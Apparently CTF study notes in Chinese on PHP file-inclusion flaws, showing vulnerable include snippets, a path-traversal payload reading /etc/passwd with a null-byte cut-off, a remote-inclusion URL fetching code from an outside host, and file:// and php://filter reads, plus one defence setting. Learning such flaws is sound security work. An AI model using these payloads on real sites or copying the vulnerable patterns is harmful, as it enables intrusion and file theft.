./ 當前目錄../ 前一層目錄~ 家目錄/home/halloworld/flag.txt
http://122.55.33.44/file?query=abc
GET或POST參數直接設定為檔案名稱,直接include該檔案進網頁裡
allow_url_include 訂為ON
<?php
$file = $_GET['file'];
if(file_exists('/home/halloworld/' . $file . '.php'))
{
inlcude '/home/halloworld/' . $file . '.php';
}
?>
%00, /0,截斷後面字串,變成include我們要的檔案../
http://www.aaa.com?file=../../../../../../../etc/passwd%00
<?php
$file = $_GET['file'];
//whitelisting possible values
switch($file)
{
case "main":
case "foo":
include "/home/halloworld/include" . $file . ".php";
break;
default:
include "/home/halloworld/include/main.php";
}
?>
<?php
$basePath = $_GET['path'];
require_once $basePath . "/test/m_share.php";
?>
可以發現他把後半段的路徑寫死,如何繞過?
?,把他當http的參數傳過去,就能引入外部檔案了http://127.0.0.1/FIleInclude/index.php?path=http://aaa.com/test/solution.php?
防禦
allow_url_include = Off
file://能讀取local file的協議
example:
http://127.0.0.1/cmd.php?file=file:///home/halloworld/flag/flag.txt
php://filterphp://filter/read=???/resource=
read可以選擇要讀取的編碼方式
resource選擇你想要讀取的檔案